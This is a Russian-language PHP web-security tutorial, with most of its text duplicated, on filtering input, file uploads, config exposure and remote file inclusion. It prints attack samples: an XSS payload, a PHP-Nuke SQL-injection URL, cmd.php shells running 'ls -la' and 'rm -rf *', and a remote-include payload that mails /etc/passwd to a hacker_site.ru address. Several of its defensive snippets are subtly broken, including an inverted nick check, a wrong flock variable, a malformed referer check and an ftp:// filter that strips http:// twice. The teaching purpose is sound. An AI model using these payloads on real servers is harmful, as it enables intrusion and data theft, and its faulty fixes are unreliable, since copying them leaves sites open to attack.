Цель данной статьи, показать некоторые приемы защиты при написании скриптов на PHP и показать на примерах, как и из-за чего становится возможен взлом того или иного веб-приложения. Часто бывает так, что программист при написании своего веб-приложения (типа www-чат, форум, гостевая книга и т.д.) не задумывается над тем, а что будет если... Даже, казалась бы незначительная ошибка в коде, может привести к катастрофическим последствиям. На мой взгляд главная задача программиста состоит не только в том, что бы приложение работало, но и максимально обезопасить его от возможных ошибок. Допустим, в приложении есть форма передающая некоторые данные,которые записываются в файл и потом выводятся, например в гостевой книге.
Первое, что необходимо сделать, это тщательным образом отфильтровать все данные пришедшие из формы. Никогда нельзя доверять входящим данным! Например: в форме есть поле e-mail, где данные не фильтруются. Злоумышленник может вставить в это поле произвольный код типа <script>alert('Hacked site');</script> и все кто зайдут на страницу гостевой книги, увидят сообщение "Hacked site",согласитесь неприятный момент для хозяина сайта.Запретим пользователю в этом поле писать, что-либо кроме почтового адреса, воспользуемся для этого функцией preg_match, функция ищет в строке совпадение для шаблона: если совпадение найдено-возвращается TRUE(истина), если нет- FALSE(ложь).
этот пример проверяет лишь правильность написания адреса, но не его существование
В другом поле, ну скажем где пользователь, вводит свой ник, запрещаем любые символы кроме букв русского и латинского алфавита, и разрешим еще символ "_"
В поле, где пользователь вводит само сообщение, тоже отфильтруем данные. Тут важно определить с самого начала, что вы хотите разрешить для пользовательского ввода. Например, если вы хотите разрешить в теле сообщения некоторые теги html, то используйте функцию strip_tags. Разрешим использовать теги <a><b><i>
Либо заменим в переменной потенциально опасные символы эквивалентными конструкциями HTML. Функцию htmlspecialchars() использовать с параметром ENT_QUOTES Функция заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями.
& амперсанд преобразуется в "&" " двойные кавычки преобразуются в """ только когда неустановлен ENT_QUOTES
' одинарная кавычка преобразуется в "'" только когда установлен ENT_QUOTES
< преобразуется в "<"
> преобразуется в ">"
пример использования:
$string = htmlspecialchars($tring, ENT_QUOTES);
Если правила фильтрации для всех полей одинаковые, то можно проверить все входящие данные из формы, например таким способом:
Можно защитить переменную от опасных символов ("прослешить") таким образом
$string=addslashes($string);
Функция addslashes() возвращает строку со знаками обратной косой черты \ перед символами, которые должны быть заключены в кавычки, в запросах к базам данных и т.д., к таким символам относятся:
однарная кавычка
двойная кавычка
обратная косая черта
NUL(нулевой байт)
Чем чревато не экранирование таких символов: Например, в движке сайта PHP-NUKE в файле auth.php отсутствовала проверка переменной $aid содержащей логин для авторизации пользователя. Используя одинарную кавычку можно было перенаправить вывод в произвольный файл на сервере. Строка запроса
www.server.ru/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt
делала возможным создание файла /path_to_file/pwd.txt содержащего зашифрованный пароль для логина "Admin". Можно включить в php.ini опцию magic_quotes_gpc=On , она будет автоматически экранировать, обратной косой чертой все потенциально опасные символы (например, апострофы и кавычки). Если ваше приложение добавляет данные в файл при включеном в php.ini magic_quotes_gpc,то слеши будут автоматически добавляться к данным полученым из POST, GET запросов и кук Удалить слеши можно функцией stripslashes().
Пример:
Если в php.ini включена опция register_globals=On (означает, что регистрируются глобальные переменные) и вы используете в вашем приложении глобальные переменные, то можно избавиться от слешей таким образом:
Чтобы избавиться от добавления слешей скажем при получении данных из файла, вставьте в начало скрипта
set_magic_quotes_runtime(0);
Если, ваше веб-приложение (гостевая книга, форум, веб-чат...), записывает данные, переданные пользователями, то лучше установить блокировку на файл, куда записываются данные. Представьте себе, что одновременно 10 человек пытаются оставить свое сообщение, произойдет нарушение целостности файла с данными. Избежать этого поможет функция flock(), функция устанавливает блокировку на предварительно открытый файл. Можно использовать функцию с ключами:
LOCK_SH разрешает читать заблокированый файл
LOCK_EX устанавливает полную блокировку файла
LOCKUN снимает блокировку
пример:
Другой немаловажный момент. Допустим поля формы, где пользователь вводит ник и email, ограничены чем то вроде <input type=text name=nick maxlength=10> Злоумышленник может скачать документ с формой ввода и подправить параметр maxlength. Чтобы этого не произошло, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER (проверив с родного ли хоста пришли данные).
Правда переменная HTTP_REFERER формируется браузером и злоумышленник может, например зайти телнетом на 80 порт и сформировать запрос. Защита не бог весть-какая, но дилетанта остановит. Если требуется более сильная защита лучше воспользоваться сессиями. При заходе на страницу с формой отправки, юзеру присваивается уникальный идентификатор (число 128 бит, которое невозможно подделать). Потом организовать передачу идентификатора через сессии либо через куки, либо через URL. Если идентификатор не найден в URL (GET-запрос) или в POST-запросе и не найден в куках (или не совпадает с настоящим), то извините - вы хакер, и данные от вас не принимаются
Правда, всегда нужно стараться найти золотую середину между удобством использования вашего приложения и его защитой.Если перестараться с ограничениями, всевозможными защитами и блокировками, то вряд ли пользователю захочется посетить ваш сайт еще раз.
Так же необходима защита вашего веб-приложения от флуда, методом частых вызовов php-файлов. Во-первых кто-то, может забить своими сообщениями ту-же гостевую книгу, во-вторых это создает лишний трафик и нагрузку на сервер. Как решение проблемы можно написать модуль, ограничивающий обращение к php-скрипту N-раз в N-времени с одного ip-адреса и подключать его к вашему скрипту функцией include() или require().
PHP может принимать файлы, загруженные из любого браузера, отвечающего стандартам RFC-1867 (например, Netscape Navigator или Microsoft Internet Explorer). Если вы решили написать и использовать скрипт, который позволяет юзерам закачивать на сервер какие-либо файлы, то примите все меры предосторожности, что бы не создать проблем на сервере. Убедитесь, что принятый файл будет правильно обработан и сохранен. Обязательно проверяйте тип, размер принимаемого файла. И присваивайте файлу новое имя. Представьте себе, что в скрипте нет проверки на тип принимаемого файла и программа после приема выводит файл в браузер. А злобный хакер закачал файл cmd.php следующего содержания: <? passthru("cd ./; ls -la"); ?> и вызвал скрипт браузером http://www.server.ru/cmd.php Становиться возможен, просмотр листинга корневого каталога. Или еще "лучше", файл <? exec("rm -rf *"); ?> удалит родительский каталог и все его подкаталоги. Избежать такого развития ситуации поможет функция escapeshellcmd(), экранирует все потенциально опасные символы при выполнении команд exec(), passthru(), system(), popen() пример использования функции:
Еще одна плохая идея-хранить конфигурационные файлы в каталоге с www-документами. Допустим ваш конфигурационный файл имеет расширение "inc", например config.inc и содержит помимо других данных, строки
При каком-нибудь сбое программы появится сообщение о ошибке типа Parse error: parse error in ./home/user/www/config.inc Естественно хакер попытается открыть этот файл http://www.server.ru/config.inc и если вдруг окажется, что сервер сконфигурирован таким образом, что файлы типа *.inc он трактует как текстовые, то файл config.inc будет отображен(прочитан) в браузере. Лучше конфиг-файлы хранить выше корня сайта, там - куда нет доступа браузером. Если по каким то причинам, у вас нет доступа выше корня сайта, то создайте отдельный каталог для таких конфиг-файлов и закройте доступ к нему файлом .htaccess с таким содержанием:
Старайтесь писать ваши приложения, не зависящими от настроек сервера.
Еще маленькая тонкость. Подумайте над тем, что будет, если пользователь в сообщение вставит очень длинную строку без разрывов типа ААААА *256 ААААААА, страшного ничего конечно не произойдет, но вот дизайн той же гостевой или форума разъедется по швам основательно. Что можно сделать в этом случае? Просто разделите данные из переменной пробелами,например по 50 символов, вряд ли вы умудритесь составить нормальное слово длиннее 50 символов.
Почему становится возможен межсайтовый скриптинг и как это выглядит.
Язык PHP мощный и в то же время простой. Для облегчения работы программиста,разработчиками PHP, функции fopen(), file(), include(), readfile()... написаны таким образом, что програмисту нет необходимости открывать сокет и т.д. например, для чтения файла с удаленного сервера. Хотя в PHP есть функции предназначенные именно для этого socket(), fsockopen(), pfsockopen() позволяющие устанавливать связь с различными службами другого компьютера через протоколы TCP, UDP. Если параметр, передаваемый функции, начинается с префикса http://, ftp://, то функция сама установит соединение http, ftp с сервером. Если параметр будет задан в виде php://stdin, php://stdout или php://stderr будет открыт соответствующий стандартный поток ввода/вывода. Причем возможно не только чтение файла, но и запись в него, при условии соответствующих прав (chmod) на файл. Например:
$string=fopen("http://www.server.ru/test.txt/", "r"); Функция откроет подключение HTTP к
серверу www.server.ru и возвратит манипулятор файла test.txt,скачает содержимое файла test.txt в переменную
как из обычного файла.
$string=fopen("ftp://login:pass@server.ru/test.txt/", "w"); Функция откроет подключение FTP к серверу
www.server.ru и возвратит манипулятор файла test.txt. Откроет файл www.server.ru/test.txt для записи,если
файл не существует функция будет пытаться создать файл. Если сервер www.server.ru не поддерживает пассивный
режим FTP, работа функции закончится неудачей. Косая черта необходима в конце имени файла из-за того, что
не поддерживается перенаправление!
Пример (код взят из некоего приложения, не знаю о чем и каким местом думал тот программист): страница
index.php генерирует ссылки вида
<a href="./view.php?f=news">news</a>
<a href="./view.php?f=links">links</a>
файл view.php содержит строки
include "functions.php";
print_file_view($f);
Ну и в файле functions.php есть функция print_file_view($f), отвечающая за вывод информации из файла с
именем f=...
function print_file_view($f) {
$file_array_view=file("$f");
foreach ($file_array_view as $k=>$line) {
print $line."
";
}
}
При клике по ссылке <a href="./view.php?f=news">news</a> файл view.php выдаст содержимое файла news. На первый взгляд все нормально. Функция file() загружает все содержимое в индексируемый массив (каждый элемент массива соответствует одной строке файла), foreach() возвращает пару "ключ/значение" и перемещает указатель к следующему элементу, print возвращает значение $line Но ... функция file не проверяет существует ли файл! И если в запросе передать значение $f отличное от news (например: http://www.server.ru/view.php?f=blabla, то произойдет сбой программы (так как файл blabla не существует). И будет выведено сообщение о ошибке: Warning: file("blabla") - No such file or directory in ./home/user/www/functions.php on line 3 Warning: Invalid argument supplied for foreach() in ./home/user/www/functions.php on line 4 Разумеется если в php.ini включена директива display_errors =On (что чаще всего и бывает) На мой взгляд логичнее отключить вывод ошибок, и включить директиву записи ошибок в лог-файл сервера.
В результате такого запроса, становится известен путь к скрипту и имя файла. Если нет доступа к php.ini, можно добавить в начало скрипта строку error_reporting(0); это подавит вывод ошибок. Но ... надо не подавлять ошибки, а писать код без ошибок! Если нет доступа к http.conf и к php.ini, например вы простой клиент хостинга, все равно можно создать разные настройки для страниц, расположеных в разных каталогах, но принадлежащих одному приложению. С помощью файла .htaccess Допустим директива вывода ошибок на сервере отключена display_errors =Off, а вам надо отладить свое приложение и включить вывод ошибок, то в файле .htaccess напишите следующие строки:
error_reporting обязательно устанавливайте только в виде числового значения, а не с помощью константы! Теперь у вас свои настройки (независящие от настроек сервера) для каталога, где находится файл .htaccess , только не забывайте, что скорость работы программы замедляется из-за обращение к .htaccess
Дальше, хакер может на своем сайте www.hacker_site.ru создать файл cmd.txt с таким содержимым
<? passthru("cd /etc; cat /etc/passwd"); ?> или
<? passthru("cd /etc; cat > /etc/passwd | mail hacker@hacker_site.ru"); ?>
И заставить уязвимый скрипт таким запросом http://www.server.ru/view.php?f=http://hac...site.ru/cmd.txt либо вывести в браузер содержание файла /etc/passwd с сервера, где находится уязвимый скрипт или отправить /etc/passwd себе на e-mail. Это не в коей мере нельзя считать уязвимостью PHP, это ошибка программирования !
Можно запретить открывать URL через файловые функции в php.ini опцией allow_url_fopen=Off Если доступ к настройкам php отсутствует (вы просто клиент хостинга), то создайте в корне своего сайта файл .htaccess с содержанием php_value allow_url_fopen 0 правда это несколько замедлит работу программы, т.к. при каждом вызове *.php скриптов будет происходить обращение к файлу .htaccess Но как известно - БЕЗОПАСНОСТИ МНОГО НЕ БЫВАЕТ! Так же необходимо вырезать из переменной все префиксы http://, ftp:// функцией str_replace() :
Причем самое смешное состоит в том, что включение безопасного режима safe_mode=On не решает проблемы, функции продолжают исправно фунциклировать!
И так - исправим уязвимую функцию function print_file_view($f) Добавим в код проверку на существование файла и принудительно добавим расширение ".dat" к к переменной $f. Почему расширение ".dat"? Потому, что вряд ли удастся найти сервер, который будет трактовать файлы "*.dat" как текстовые. И вырежем из переменной все префиксы http://, ftp://, если таковые в ней случайно! появятся
Функция is_file() проверяет существование заданного файла и возможность выполнения с ним операций "чтения/записи". Теперь запрос вида http://www.server.ru/view.php?f=blabla не даст никакой информации злоумышленнику, будет выведено сообщение, что файл не существует "ERROR 404 document not found". Cписок некоторых директив php.ini, которые имеет смысл настроить для комфортной и безопасной работы с PHP. magic_quotes_gpc если включена, автоматически добавляет слеши к данным пришедшим от пользователя - из POST, GET запросов и кук. magic_quotes_runtime если включена, автоматически добавляет слеши к данным, полученным во время исполнения скрипта - например, из файла или базы данных.register_globals если включена, переменные GET, POST, Cookie, Server будут регистрироваться как глобальные переменные. Если директива выключена, то глобальный доступ можно получить через массивы $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS track_vars если разрешена, то глобальные переменные GET, POST, Cookie, Server всегда будут находиться в глобальных массивах $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS allow_url_fopen если включена, позволяет обращаться с объектами URL как с файлами (по умолчанию включена!), есть смысл отключить данную директиву, если не планируете работать с удаленными файлами. Зачем облегчать хакерам жизнь?
Присутствует только в версиях PHP выше 4.0.3 , до версии 4.0.3(включительно) можно лишь запретить во время компиляции PHP --disable-url-fopen-wrapper upload_tmp_dir указывает на временный каталог для хранения файлов, загруженых с сервера. safe_mode включить\выключить безопасный режим для PHP safe_mode_exec_dir если включен безопасный режим, то функции, которые исполняют системные программы (типа system, exec...) не будут работать вне этого каталога.
enable_dl Лучше отключить!!! Необходима лишь когда PHP стоит как модуль Apache. С помощью функции dl() можно включать и отключать динамическую загрузку расширений PHP через виртуальный сервер или каталог. При помощи динамической загрузки можно обойти запреты в safe_mode и open_base_dir. По умолчанию всегда разрешена! За исключением safe_mode.
display_errors если включена, показывает на экране ошибки как часть вывода HTML
error_log название файла, куда записываются програмные ошибки
error_reporting устанавливает степень подробности ошибок, значение должно быть числовое.
ignore_user_abort (по умолчанию разрешено). При запрете данной директивы, программа будет завершена, если пользователь завершит соединение с программой. Лучше выключить, так как юзер может написать 2 скрипта, с такой строкой в каждом скрипте ignore_user_abort(0): по истечении N-времени, 1 скрипт запустит второй, потом второй запустит первый. Получается, что-то типа крона, будут кушаться системные ресурсы
include_path определяет список каталогов, в которых функции include(), require(), fopen_with_path() проводят поиск файлов. По умолчанию установлена в "." (только в этом каталоге). В UNIX каталоги в списке разделяются двоеточием, в Win точкой с запятой.
max_execution_time устанавливает максимальное время в секундах, отпущеных для работы скрипта по умолчанию - 30 секунд.
memory_limit устанавливает максимальный объем памяти (в байтах), который можно использовать программе и не позволяет кривым скриптам использовать весь объем памяти сервера.
Ну вот, пожалуй и все, в одной статье просто невозможно охватить все аспекты. Я надеюсь, что время затраченное на написание данной статьи, не пропадет даром и ваши веб-приложения станут более защищенными от взлома. Не забывайте о тех пользователях, которые будут использовать ваши скрипты на своих сайтах!
Первое, что необходимо сделать, это тщательным образом отфильтровать все данные пришедшие из формы. Никогда нельзя доверять входящим данным! Например: в форме есть поле e-mail, где данные не фильтруются. Злоумышленник может вставить в это поле произвольный код типа <script>alert('Hacked site');</script> и все кто зайдут на страницу гостевой книги, увидят сообщение "Hacked site",согласитесь неприятный момент для хозяина сайта.Запретим пользователю в этом поле писать, что-либо кроме почтового адреса, воспользуемся для этого функцией preg_match, функция ищет в строке совпадение для шаблона: если совпадение найдено-возвращается TRUE(истина), если нет- FALSE(ложь).
Код:
if (preg_match("/^[a-z0-9_-]{1,20}@(([a-z0-9-]+\.)+(com|net|org|mil|edu|gov|ru|info|biz|inc|"."name|[a-z]{2})|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})$/is",$mail))
{
print "Ok, почтовый адрес введен верно";
}else{
print "Адрес введен не верно";
}
этот пример проверяет лишь правильность написания адреса, но не его существование
В другом поле, ну скажем где пользователь, вводит свой ник, запрещаем любые символы кроме букв русского и латинского алфавита, и разрешим еще символ "_"
Код:
if (eregi("[^a-za-я0-9_]",$nick)) {
print "Ok";
}else{
print "ник содержит недопустимые символы";
}
В поле, где пользователь вводит само сообщение, тоже отфильтруем данные. Тут важно определить с самого начала, что вы хотите разрешить для пользовательского ввода. Например, если вы хотите разрешить в теле сообщения некоторые теги html, то используйте функцию strip_tags. Разрешим использовать теги <a><b><i>
Код:
$string = strip_tags($string, "<a><b><i>");
Либо заменим в переменной потенциально опасные символы эквивалентными конструкциями HTML. Функцию htmlspecialchars() использовать с параметром ENT_QUOTES Функция заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями.
& амперсанд преобразуется в "&" " двойные кавычки преобразуются в """ только когда неустановлен ENT_QUOTES
' одинарная кавычка преобразуется в "'" только когда установлен ENT_QUOTES
< преобразуется в "<"
> преобразуется в ">"
пример использования:
$string = htmlspecialchars($tring, ENT_QUOTES);
Если правила фильтрации для всех полей одинаковые, то можно проверить все входящие данные из формы, например таким способом:
Код:
foreach($_POST as $key => $value) {
$value=trim($value);
if (get_magic_quotes_gpc()) $value = stripslashes($value);
$value=htmlspecialchars($value,ENT_QUOTES);
$_POST[$key]=$value;
$value=str_replace("\r","",$value);
$value=str_replace("\n","
",$value);
$$key=$value;
}
$string=addslashes($string);
Функция addslashes() возвращает строку со знаками обратной косой черты \ перед символами, которые должны быть заключены в кавычки, в запросах к базам данных и т.д., к таким символам относятся:
однарная кавычка
двойная кавычка
обратная косая черта
NUL(нулевой байт)
Чем чревато не экранирование таких символов: Например, в движке сайта PHP-NUKE в файле auth.php отсутствовала проверка переменной $aid содержащей логин для авторизации пользователя. Используя одинарную кавычку можно было перенаправить вывод в произвольный файл на сервере. Строка запроса
www.server.ru/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt
делала возможным создание файла /path_to_file/pwd.txt содержащего зашифрованный пароль для логина "Admin". Можно включить в php.ini опцию magic_quotes_gpc=On , она будет автоматически экранировать, обратной косой чертой все потенциально опасные символы (например, апострофы и кавычки). Если ваше приложение добавляет данные в файл при включеном в php.ini magic_quotes_gpc,то слеши будут автоматически добавляться к данным полученым из POST, GET запросов и кук Удалить слеши можно функцией stripslashes().
Пример:
Код:
$string=stripslashes($string);
Если в php.ini включена опция register_globals=On (означает, что регистрируются глобальные переменные) и вы используете в вашем приложении глобальные переменные, то можно избавиться от слешей таким образом:
Код:
if (get_magic_quotes_gpc()) strips($GLOBALS);
function strips(&$str) {
if (is_array($str)) {
foreach($str as $k=>$v) {
if($k!='GLOBALS') {
strips($str[$k]);
}
}
} else {
$str = stripslashes($str);
}
}
Чтобы избавиться от добавления слешей скажем при получении данных из файла, вставьте в начало скрипта
set_magic_quotes_runtime(0);
Если, ваше веб-приложение (гостевая книга, форум, веб-чат...), записывает данные, переданные пользователями, то лучше установить блокировку на файл, куда записываются данные. Представьте себе, что одновременно 10 человек пытаются оставить свое сообщение, произойдет нарушение целостности файла с данными. Избежать этого поможет функция flock(), функция устанавливает блокировку на предварительно открытый файл. Можно использовать функцию с ключами:
LOCK_SH разрешает читать заблокированый файл
LOCK_EX устанавливает полную блокировку файла
LOCKUN снимает блокировку
пример:
Код:
$file=fopen("bd.dat","ab+");
if ($file && flock($w_file,LOCK_EX)) {
fputs($file,"test\n") or die("запись в файл невозможна");
}
fclose($file);
Другой немаловажный момент. Допустим поля формы, где пользователь вводит ник и email, ограничены чем то вроде <input type=text name=nick maxlength=10> Злоумышленник может скачать документ с формой ввода и подправить параметр maxlength. Чтобы этого не произошло, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER (проверив с родного ли хоста пришли данные).
Код:
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.server.ru")) {
print "данные пришедшие не с моего сервера запрещены к приему";
exit;
}
Правда переменная HTTP_REFERER формируется браузером и злоумышленник может, например зайти телнетом на 80 порт и сформировать запрос. Защита не бог весть-какая, но дилетанта остановит. Если требуется более сильная защита лучше воспользоваться сессиями. При заходе на страницу с формой отправки, юзеру присваивается уникальный идентификатор (число 128 бит, которое невозможно подделать). Потом организовать передачу идентификатора через сессии либо через куки, либо через URL. Если идентификатор не найден в URL (GET-запрос) или в POST-запросе и не найден в куках (или не совпадает с настоящим), то извините - вы хакер, и данные от вас не принимаются
Так же необходима защита вашего веб-приложения от флуда, методом частых вызовов php-файлов. Во-первых кто-то, может забить своими сообщениями ту-же гостевую книгу, во-вторых это создает лишний трафик и нагрузку на сервер. Как решение проблемы можно написать модуль, ограничивающий обращение к php-скрипту N-раз в N-времени с одного ip-адреса и подключать его к вашему скрипту функцией include() или require().
Код:
include "script_name.php";
PHP может принимать файлы, загруженные из любого браузера, отвечающего стандартам RFC-1867 (например, Netscape Navigator или Microsoft Internet Explorer). Если вы решили написать и использовать скрипт, который позволяет юзерам закачивать на сервер какие-либо файлы, то примите все меры предосторожности, что бы не создать проблем на сервере. Убедитесь, что принятый файл будет правильно обработан и сохранен. Обязательно проверяйте тип, размер принимаемого файла. И присваивайте файлу новое имя. Представьте себе, что в скрипте нет проверки на тип принимаемого файла и программа после приема выводит файл в браузер. А злобный хакер закачал файл cmd.php следующего содержания: <? passthru("cd ./; ls -la"); ?> и вызвал скрипт браузером http://www.server.ru/cmd.php Становиться возможен, просмотр листинга корневого каталога. Или еще "лучше", файл <? exec("rm -rf *"); ?> удалит родительский каталог и все его подкаталоги. Избежать такого развития ситуации поможет функция escapeshellcmd(), экранирует все потенциально опасные символы при выполнении команд exec(), passthru(), system(), popen() пример использования функции:
Код:
$userinput="rm -rf *";
$string = escapeshellcmd($userinput);
system("print $string");
Еще одна плохая идея-хранить конфигурационные файлы в каталоге с www-документами. Допустим ваш конфигурационный файл имеет расширение "inc", например config.inc и содержит помимо других данных, строки
Код:
user:Mickl
password:qwerty
При каком-нибудь сбое программы появится сообщение о ошибке типа Parse error: parse error in ./home/user/www/config.inc Естественно хакер попытается открыть этот файл http://www.server.ru/config.inc и если вдруг окажется, что сервер сконфигурирован таким образом, что файлы типа *.inc он трактует как текстовые, то файл config.inc будет отображен(прочитан) в браузере. Лучше конфиг-файлы хранить выше корня сайта, там - куда нет доступа браузером. Если по каким то причинам, у вас нет доступа выше корня сайта, то создайте отдельный каталог для таких конфиг-файлов и закройте доступ к нему файлом .htaccess с таким содержанием:
Код:
<Files *.*>
order allow,deny
deny from all
</Files>
Старайтесь писать ваши приложения, не зависящими от настроек сервера.
Еще маленькая тонкость. Подумайте над тем, что будет, если пользователь в сообщение вставит очень длинную строку без разрывов типа ААААА *256 ААААААА, страшного ничего конечно не произойдет, но вот дизайн той же гостевой или форума разъедется по швам основательно. Что можно сделать в этом случае? Просто разделите данные из переменной пробелами,например по 50 символов, вряд ли вы умудритесь составить нормальное слово длиннее 50 символов.
Код:
function bigword($string) {
$s=str_replace("\\\"","\"",$string);
return " ".wordwrap($message,51," ",1)." ";
}
Почему становится возможен межсайтовый скриптинг и как это выглядит.
Язык PHP мощный и в то же время простой. Для облегчения работы программиста,разработчиками PHP, функции fopen(), file(), include(), readfile()... написаны таким образом, что програмисту нет необходимости открывать сокет и т.д. например, для чтения файла с удаленного сервера. Хотя в PHP есть функции предназначенные именно для этого socket(), fsockopen(), pfsockopen() позволяющие устанавливать связь с различными службами другого компьютера через протоколы TCP, UDP. Если параметр, передаваемый функции, начинается с префикса http://, ftp://, то функция сама установит соединение http, ftp с сервером. Если параметр будет задан в виде php://stdin, php://stdout или php://stderr будет открыт соответствующий стандартный поток ввода/вывода. Причем возможно не только чтение файла, но и запись в него, при условии соответствующих прав (chmod) на файл. Например:
$string=fopen("http://www.server.ru/test.txt/", "r"); Функция откроет подключение HTTP к
серверу www.server.ru и возвратит манипулятор файла test.txt,скачает содержимое файла test.txt в переменную
как из обычного файла.
$string=fopen("ftp://login:pass@server.ru/test.txt/", "w"); Функция откроет подключение FTP к серверу
www.server.ru и возвратит манипулятор файла test.txt. Откроет файл www.server.ru/test.txt для записи,если
файл не существует функция будет пытаться создать файл. Если сервер www.server.ru не поддерживает пассивный
режим FTP, работа функции закончится неудачей. Косая черта необходима в конце имени файла из-за того, что
не поддерживается перенаправление!
Пример (код взят из некоего приложения, не знаю о чем и каким местом думал тот программист): страница
index.php генерирует ссылки вида
<a href="./view.php?f=news">news</a>
<a href="./view.php?f=links">links</a>
файл view.php содержит строки
include "functions.php";
print_file_view($f);
Ну и в файле functions.php есть функция print_file_view($f), отвечающая за вывод информации из файла с
именем f=...
function print_file_view($f) {
$file_array_view=file("$f");
foreach ($file_array_view as $k=>$line) {
print $line."
";
}
}
При клике по ссылке <a href="./view.php?f=news">news</a> файл view.php выдаст содержимое файла news. На первый взгляд все нормально. Функция file() загружает все содержимое в индексируемый массив (каждый элемент массива соответствует одной строке файла), foreach() возвращает пару "ключ/значение" и перемещает указатель к следующему элементу, print возвращает значение $line Но ... функция file не проверяет существует ли файл! И если в запросе передать значение $f отличное от news (например: http://www.server.ru/view.php?f=blabla, то произойдет сбой программы (так как файл blabla не существует). И будет выведено сообщение о ошибке: Warning: file("blabla") - No such file or directory in ./home/user/www/functions.php on line 3 Warning: Invalid argument supplied for foreach() in ./home/user/www/functions.php on line 4 Разумеется если в php.ini включена директива display_errors =On (что чаще всего и бывает) На мой взгляд логичнее отключить вывод ошибок, и включить директиву записи ошибок в лог-файл сервера.
Код:
display_errors =Off
log_errors=On
В результате такого запроса, становится известен путь к скрипту и имя файла. Если нет доступа к php.ini, можно добавить в начало скрипта строку error_reporting(0); это подавит вывод ошибок. Но ... надо не подавлять ошибки, а писать код без ошибок! Если нет доступа к http.conf и к php.ini, например вы простой клиент хостинга, все равно можно создать разные настройки для страниц, расположеных в разных каталогах, но принадлежащих одному приложению. С помощью файла .htaccess Допустим директива вывода ошибок на сервере отключена display_errors =Off, а вам надо отладить свое приложение и включить вывод ошибок, то в файле .htaccess напишите следующие строки:
Код:
php_value error_reporting 2039
php_flag log_error off
php_flag display errors on
error_reporting обязательно устанавливайте только в виде числового значения, а не с помощью константы! Теперь у вас свои настройки (независящие от настроек сервера) для каталога, где находится файл .htaccess , только не забывайте, что скорость работы программы замедляется из-за обращение к .htaccess
Дальше, хакер может на своем сайте www.hacker_site.ru создать файл cmd.txt с таким содержимым
<? passthru("cd /etc; cat /etc/passwd"); ?> или
<? passthru("cd /etc; cat > /etc/passwd | mail hacker@hacker_site.ru"); ?>
И заставить уязвимый скрипт таким запросом http://www.server.ru/view.php?f=http://hac...site.ru/cmd.txt либо вывести в браузер содержание файла /etc/passwd с сервера, где находится уязвимый скрипт или отправить /etc/passwd себе на e-mail. Это не в коей мере нельзя считать уязвимостью PHP, это ошибка программирования !
Можно запретить открывать URL через файловые функции в php.ini опцией allow_url_fopen=Off Если доступ к настройкам php отсутствует (вы просто клиент хостинга), то создайте в корне своего сайта файл .htaccess с содержанием php_value allow_url_fopen 0 правда это несколько замедлит работу программы, т.к. при каждом вызове *.php скриптов будет происходить обращение к файлу .htaccess Но как известно - БЕЗОПАСНОСТИ МНОГО НЕ БЫВАЕТ! Так же необходимо вырезать из переменной все префиксы http://, ftp:// функцией str_replace() :
Код:
$string=str_replace("http://","",$string);
$string=str_replace("ftp://","",$string);
Причем самое смешное состоит в том, что включение безопасного режима safe_mode=On не решает проблемы, функции продолжают исправно фунциклировать!
И так - исправим уязвимую функцию function print_file_view($f) Добавим в код проверку на существование файла и принудительно добавим расширение ".dat" к к переменной $f. Почему расширение ".dat"? Потому, что вряд ли удастся найти сервер, который будет трактовать файлы "*.dat" как текстовые. И вырежем из переменной все префиксы http://, ftp://, если таковые в ней случайно! появятся
Код:
$f=str_replace("http://","",$f);
$f=str_replace("http://","",$f);
if (is_file($f.".dat")) {
$file_array_view=file($f.".dat");
foreach ($file_array_view as $k=>$line) {
print $line."
";
}
}else print "ERROR 404 document not found";
Функция is_file() проверяет существование заданного файла и возможность выполнения с ним операций "чтения/записи". Теперь запрос вида http://www.server.ru/view.php?f=blabla не даст никакой информации злоумышленнику, будет выведено сообщение, что файл не существует "ERROR 404 document not found". Cписок некоторых директив php.ini, которые имеет смысл настроить для комфортной и безопасной работы с PHP. magic_quotes_gpc если включена, автоматически добавляет слеши к данным пришедшим от пользователя - из POST, GET запросов и кук. magic_quotes_runtime если включена, автоматически добавляет слеши к данным, полученным во время исполнения скрипта - например, из файла или базы данных.register_globals если включена, переменные GET, POST, Cookie, Server будут регистрироваться как глобальные переменные. Если директива выключена, то глобальный доступ можно получить через массивы $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS track_vars если разрешена, то глобальные переменные GET, POST, Cookie, Server всегда будут находиться в глобальных массивах $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS allow_url_fopen если включена, позволяет обращаться с объектами URL как с файлами (по умолчанию включена!), есть смысл отключить данную директиву, если не планируете работать с удаленными файлами. Зачем облегчать хакерам жизнь?
enable_dl Лучше отключить!!! Необходима лишь когда PHP стоит как модуль Apache. С помощью функции dl() можно включать и отключать динамическую загрузку расширений PHP через виртуальный сервер или каталог. При помощи динамической загрузки можно обойти запреты в safe_mode и open_base_dir. По умолчанию всегда разрешена! За исключением safe_mode.
display_errors если включена, показывает на экране ошибки как часть вывода HTML
error_log название файла, куда записываются програмные ошибки
error_reporting устанавливает степень подробности ошибок, значение должно быть числовое.
ignore_user_abort (по умолчанию разрешено). При запрете данной директивы, программа будет завершена, если пользователь завершит соединение с программой. Лучше выключить, так как юзер может написать 2 скрипта, с такой строкой в каждом скрипте ignore_user_abort(0): по истечении N-времени, 1 скрипт запустит второй, потом второй запустит первый. Получается, что-то типа крона, будут кушаться системные ресурсы
include_path определяет список каталогов, в которых функции include(), require(), fopen_with_path() проводят поиск файлов. По умолчанию установлена в "." (только в этом каталоге). В UNIX каталоги в списке разделяются двоеточием, в Win точкой с запятой.
max_execution_time устанавливает максимальное время в секундах, отпущеных для работы скрипта по умолчанию - 30 секунд.
